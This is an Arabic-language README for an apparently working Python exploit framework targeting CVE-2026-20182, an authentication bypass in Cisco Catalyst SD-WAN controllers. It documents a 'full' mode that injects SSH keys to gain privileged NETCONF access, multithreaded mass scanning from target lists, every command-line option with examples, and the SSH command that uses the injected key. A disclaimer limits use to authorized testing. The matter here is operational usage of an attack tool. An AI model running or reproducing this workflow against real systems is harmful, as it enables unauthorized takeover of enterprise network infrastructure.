CVE-2026-20182

تجاوز مصادقة الاقتران في Cisco Catalyst SD-WAN

CVE-2026-20182 — تجاوز مصادقة الاقتران في Cisco Catalyst SD-WAN

أداة تقييم للاختبار المصرح به لتجاوز مصادقة الاقتران في Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).

ملخص الثغرة

نشرة مايو 2026: وجود خلل في مصافحة اتصال التحكم / مصادقة الاقتران يسمح لـمهاجم عن بُعد غير مصادَق بتجاوز المصادقة والحصول على وصول داخلي بصلاحيات عالية على الأنظمة المتأثرة.

يرسل المهاجم طلبات مخصصة إلى النظام المتأثر. عند النجاح، قد يتمكن المهاجم من المصادقة كحساب داخلي بصلاحيات عالية وغير جذر والوصول إلى NETCONF، مما يتيح التلاعب بإعدادات بنية SD-WAN.

التوصية: طبّق إصلاحات Cisco الأمنية وفقًا لتوجيهات البائع الرسمية. قيّد التعرض لمستوى الإدارة، وراقب اتصالات مستوى التحكم، ودقّق في وحدات تحكم SD-WAN بحثًا عن تغييرات إعدادات غير مصرح بها.

التواصل

تيليجرام: @KNxploited

معاينة الكونسول

الأداة: CVE-2026-20182.py

إطار عمل استغلال بلغة Python 3 لـCVE-2026-20182 ضد vdaemon الخاص بـ Cisco SD-WAN (UDP/DTLS 12346).

ماذا تفعل الأداة (خطوة بخطوة)

الاحتياطي للبنية: عند حدوث TEAR_DOWN أو عدم تطابق المعاملات، يعيد المحاولة باستخدام الإعدادات المسبقة البديلة domain/site (1,100) و(1,1) و(0,0) ما لم يتم استخدام --no-fallback.

مستويات النتائج (اقرأ بعناية)

مهم

• وضع check → المستوى 03 كحد أقصى (فحص تجاوز). ليس دليل استغلال كامل.
• وضع full → استهدف المستوى 01 (ssh_verified).
• https://host في القائمة → تلميح ويب TCP فقط (80/443). ليس UDP DTLS على 443.

المتطلبات

pip install -r requirements.txt

OpenSSL (النظام)

ويندوز

1. ثبّت Win64 OpenSSL 3.x أو ما يعادله
2. أضف bin\ إلى PATH، أو عيّن:

OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

لينكس

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

تخرج الأداة عند بدء التشغيل إذا تعذر تحميل OpenSSL.

بدء سريع

القائمة التفاعلية (الافتراضي)

python CVE-2026-20182.py

• اضبط الخيارات 1–11، ثم 0 = تشغيل الفحص
• وضع التشغيل الافتراضي: check (فحص تجاوز آمن)

غير تفاعلي (أتمتة)

python CVE-2026-20182.py -y

أوضاع التشغيل

CHECK — فحص تجاوز فقط

python CVE-2026-20182.py -y --mode check

FULL — حقن مفتاح + التحقق من SSH (الأهداف المصرح بها فقط)

python CVE-2026-20182.py -y --mode full

مرجع سطر الأوامر (كل خيار + مثال)

الأهداف وخيوط العمل

-f / --file — قائمة الأهداف (الافتراضي: targets.txt)

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — عدد خيوط العمل (1–200، الافتراضي 12)

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — DOMAIN_ID الافتراضي عندما لا يكون موجودًا في القائمة (الافتراضي: 1)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — SITE_ID الافتراضي عندما لا يكون موجودًا في القائمة (الافتراضي: 100)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

الوضع والأتمتة

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — تخطي القائمة التفاعلية؛ استخدام قيم سطر الأوامر فقط

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

التحقق من SSH

--no-ssh-verify — تخطي اختبار SSH بعد الحقن (غير موصى به في وضع full)

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — محاولة استخدام TCP 22 أيضًا بعد 830

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / البنية

--no-try-list-udp — UDP 12346 فقط؛ تجاهل :port من القائمة

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — مختبر: منافذ UDP إضافية على كل مضيف

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — تعطيل إعادة المحاولة domain/site عند TEAR_DOWN

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

التسجيل

-v / --verbose — تسجيل كل رسالة بروتوكول TX/RX

python CVE-2026-20182.py -y -v -f targets.txt --mode check

القائمة التفاعلية (عند حذف -y)

تنسيق targets.txt

هدف واحد لكل سطر. الأسطر التي تبدأ بـ # يتم تجاهلها.

ملف مثال

# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

غير مدعوم: IPv6 (IPv4 / اسم المضيف فقط).

ملفات الإخراج

مثال لأمر SSH (المستوى 01)

ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

سير العمل الموصى به

1) فحص العديد من المضيفين (سريع)

python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

راجع cisco_sdwan_03_bypass_only.jsonl والإحصاءات المباشرة Bypass only.

2) تأكيد الاستغلال على المضيفين المدرجين في القائمة المختصرة

python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

راجع cisco_sdwan_01_confirmed_ssh.jsonl — الملف الوحيد الذي يحتوي على ssh_verified: true.

3) تصحيح أخطاء مضيف واحد (مفصّل)

python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

الإحصاءات الحية (أثناء الفحص)

ملاحظات تشغيلية

• الوضع الافتراضي هو check — لا يكتب مفاتيح ولا يثبت SSH بمفرده.
• النجاح الحقيقي = ssh_verified=true في وضع full فقط.
• مصحّح / بنية خاطئة → غالبًا TEAR_DOWN بعد CHALLENGE_ACK؛ فعّل التراجع الاحتياطي للبنية أو صحّح domain/site في القائمة.
• يجب أن يسمح جدار الحماية بـUDP/12346 (وأي منافذ UDP إضافية في القائمة) من الماسح الضوئي إلى وحدة التحكم.
• لا ترفع sdwan_keys/ أو نتائج الفحص إلى مستودعات عامة.

إخلاء مسؤولية قانوني

هذا البرنامج مخصص لـالبحث الأمني المصرح به والتقييم الدفاعي والتعليم فقط.

يجب أن يكون لديك إذن كتابي صريح لاختبار أي نظام لا تملكه أو تشغّله. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلف غير مسؤول عن إساءة الاستخدام أو الأضرار أو العواقب القانونية الناشئة عن استخدام هذه الأداة.

استخدم الأداة فقط على الأنظمة والشبكات التي لديك تفويض صريح بإجراء اختبارات أمنية عليها.

بواسطة: Nxploited ( Khaled Alenazi )